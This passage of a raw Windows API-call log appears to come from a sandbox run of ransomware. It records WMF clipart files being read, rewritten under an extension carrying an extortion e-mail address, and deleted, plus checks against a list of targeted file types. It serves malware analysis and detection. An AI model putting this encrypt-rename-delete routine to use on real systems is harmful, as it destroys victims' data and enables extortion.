(lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0257.157] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2848) returned 1 [0257.157] CloseHandle (hObject=0x304) returned 1 [0257.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220 [0257.157] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0257.158] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.158] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0257.159] GetLastError () returned 0x0 [0257.159] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xb20, lpOverlapped=0x0) returned 1 [0257.188] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xb30, lpOverlapped=0x0) returned 1 [0257.190] ReadFile (in: hFile=0x304, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.190] WriteFile (in: hFile=0x45c, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.190] SetEndOfFile (hFile=0x45c) returned 1 [0257.190] CloseHandle (hObject=0x45c) returned 1 [0257.190] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.190] SetEndOfFile (hFile=0x304) returned 1 [0257.194] CloseHandle (hObject=0x304) returned 1 [0257.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0257.195] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1 [0257.196] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.197] lstrlenW (lpString=".doc") returned 4 [0257.197] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.197] lstrlenW (lpString=".docx") returned 5 [0257.197] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.197] lstrlenW (lpString=".pdf") returned 4 [0257.197] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.197] lstrlenW (lpString=".xls") returned 4 [0257.197] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.197] lstrlenW (lpString=".xlsx") returned 5 [0257.197] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.197] lstrlenW (lpString=".ppt") returned 4 [0257.197] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.197] lstrlenW (lpString=".zip") returned 4 [0257.197] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.197] lstrlenW (lpString=".rar") returned 4 [0257.197] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.197] lstrlenW (lpString=".bz2") returned 4 [0257.197] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.197] lstrlenW (lpString=".7z") returned 3 [0257.197] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.197] lstrlenW (lpString=".dbf") returned 4 [0257.197] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.197] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.197] lstrlenW (lpString=".1cd") returned 4 [0257.197] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.198] lstrlenW (lpString=".jpg") returned 4 [0257.198] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.198] lstrlenW (lpString=".doc") returned 4 [0257.198] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString=".docx") returned 5 [0257.198] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0257.198] lstrlenW (lpString=".pdf") returned 4 [0257.198] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString=".xls") returned 4 [0257.198] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0257.198] lstrlenW (lpString=".xlsx") returned 5 [0257.198] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0257.198] lstrlenW (lpString=".ppt") returned 4 [0257.198] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.198] lstrlenW (lpString=".zip") returned 4 [0257.198] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0257.198] lstrlenW (lpString=".rar") returned 4 [0257.198] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString=".bz2") returned 4 [0257.198] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0257.198] lstrlenW (lpString=".7z") returned 3 [0257.199] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0257.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.199] lstrlenW (lpString=".dbf") returned 4 [0257.199] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0257.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.199] lstrlenW (lpString=".1cd") returned 4 [0257.199] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0257.199] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68 [0257.199] lstrlenW (lpString=".jpg") returned 4 [0257.199] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0257.199] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0257.199] lstrlenW (lpString="HH01058_.WMF") returned 12 [0257.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0257.212] GetFileSizeEx (in: hFile=0x450, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=2756) returned 1 [0257.212] CloseHandle (hObject=0x450) returned 1 [0257.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x220 [0257.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0257.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x450 [0257.222] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.222] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.222] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0257.223] GetLastError () returned 0x0 [0257.223] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0xac4, lpOverlapped=0x0) returned 1 [0257.799] WriteFile (in: hFile=0x528, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xad0, lpOverlapped=0x0) returned 1 [0257.800] ReadFile (in: hFile=0x450, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0257.800] WriteFile (in: hFile=0x528, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0257.800] SetEndOfFile (hFile=0x528) returned 1 [0257.800] CloseHandle (hObject=0x528) returned 1 [0257.800] SetFilePointerEx (in: hFile=0x450, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0257.800] SetEndOfFile (hFile=0x450) returned 1 [0257.803] CloseHandle (hObject=0x450) returned 1 [0257.804] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.160] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01058_.wmf")) returned 1 [0258.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.161] lstrlenW (lpString=".doc") returned 4 [0258.161] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString=".docx") returned 5 [0258.162] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.162] lstrlenW (lpString=".pdf") returned 4 [0258.162] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString=".xls") returned 4 [0258.162] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.162] lstrlenW (lpString=".xlsx") returned 5 [0258.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.162] lstrlenW (lpString=".ppt") returned 4 [0258.162] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.162] lstrlenW (lpString=".zip") returned 4 [0258.162] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.162] lstrlenW (lpString=".rar") returned 4 [0258.162] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString=".bz2") returned 4 [0258.162] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString=".7z") returned 3 [0258.162] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.162] lstrlenW (lpString=".dbf") returned 4 [0258.162] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.162] lstrlenW (lpString=".1cd") returned 4 [0258.162] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.162] lstrlenW (lpString=".jpg") returned 4 [0258.162] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.163] lstrlenW (lpString=".doc") returned 4 [0258.163] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString=".docx") returned 5 [0258.163] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.163] lstrlenW (lpString=".pdf") returned 4 [0258.163] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString=".xls") returned 4 [0258.163] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.163] lstrlenW (lpString=".xlsx") returned 5 [0258.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.163] lstrlenW (lpString=".ppt") returned 4 [0258.163] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.163] lstrlenW (lpString=".zip") returned 4 [0258.163] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.163] lstrlenW (lpString=".rar") returned 4 [0258.163] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString=".bz2") returned 4 [0258.163] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString=".7z") returned 3 [0258.163] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.163] lstrlenW (lpString=".dbf") returned 4 [0258.163] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.164] lstrlenW (lpString=".1cd") returned 4 [0258.164] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 68 [0258.164] lstrlenW (lpString=".jpg") returned 4 [0258.164] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.164] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.164] lstrlenW (lpString="HH01329_.WMF") returned 12 [0258.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0258.165] GetFileSizeEx (in: hFile=0x3f4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=6016) returned 1 [0258.165] CloseHandle (hObject=0x3f4) returned 1 [0258.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 0x220 [0258.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0258.166] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f4 [0258.166] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.166] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.167] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0258.169] GetLastError () returned 0x0 [0258.169] ReadFile (in: hFile=0x3f4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x1780, lpOverlapped=0x0) returned 1 [0258.189] WriteFile (in: hFile=0x304, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0x1790, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0x1790, lpOverlapped=0x0) returned 1 [0258.190] ReadFile (in: hFile=0x3f4, lpBuffer=0x3a83020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1 [0258.190] WriteFile (in: hFile=0x304, lpBuffer=0x3a83020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a83020*, lpNumberOfBytesWritten=0x2d4fc94*=0xec, lpOverlapped=0x0) returned 1 [0258.190] SetEndOfFile (hFile=0x304) returned 1 [0258.191] CloseHandle (hObject=0x304) returned 1 [0258.191] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1 [0258.191] SetEndOfFile (hFile=0x3f4) returned 1 [0258.199] CloseHandle (hObject=0x3f4) returned 1 [0258.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0258.664] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01329_.wmf")) returned 1 [0258.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.665] lstrlenW (lpString=".doc") returned 4 [0258.665] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString=".docx") returned 5 [0258.666] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.666] lstrlenW (lpString=".pdf") returned 4 [0258.666] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString=".xls") returned 4 [0258.666] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.666] lstrlenW (lpString=".xlsx") returned 5 [0258.666] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.666] lstrlenW (lpString=".ppt") returned 4 [0258.666] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.666] lstrlenW (lpString=".zip") returned 4 [0258.666] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.666] lstrlenW (lpString=".rar") returned 4 [0258.666] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString=".bz2") returned 4 [0258.666] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString=".7z") returned 3 [0258.666] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.666] lstrlenW (lpString=".dbf") returned 4 [0258.666] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.666] lstrlenW (lpString=".1cd") returned 4 [0258.666] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.666] lstrlenW (lpString=".jpg") returned 4 [0258.666] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.666] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.667] lstrlenW (lpString=".doc") returned 4 [0258.667] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0258.667] lstrlenW (lpString=".docx") returned 5 [0258.667] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0258.667] lstrlenW (lpString=".pdf") returned 4 [0258.667] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0258.667] lstrlenW (lpString=".xls") returned 4 [0258.667] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0258.667] lstrlenW (lpString=".xlsx") returned 5 [0258.667] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0258.667] lstrlenW (lpString=".ppt") returned 4 [0258.667] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0258.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.667] lstrlenW (lpString=".zip") returned 4 [0258.667] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0258.667] lstrlenW (lpString=".rar") returned 4 [0258.667] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0258.667] lstrlenW (lpString=".bz2") returned 4 [0258.667] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0258.667] lstrlenW (lpString=".7z") returned 3 [0258.667] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0258.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.667] lstrlenW (lpString=".dbf") returned 4 [0258.667] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0258.667] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.667] lstrlenW (lpString=".1cd") returned 4 [0258.667] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0258.668] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01329_.WMF") returned 68 [0258.668] lstrlenW (lpString=".jpg") returned 4 [0258.668] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0258.668] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0258.668] lstrlenW (lpString="HH02155_.WMF") returned 12 [0258.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0258.669] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x2d4ff14 | out: 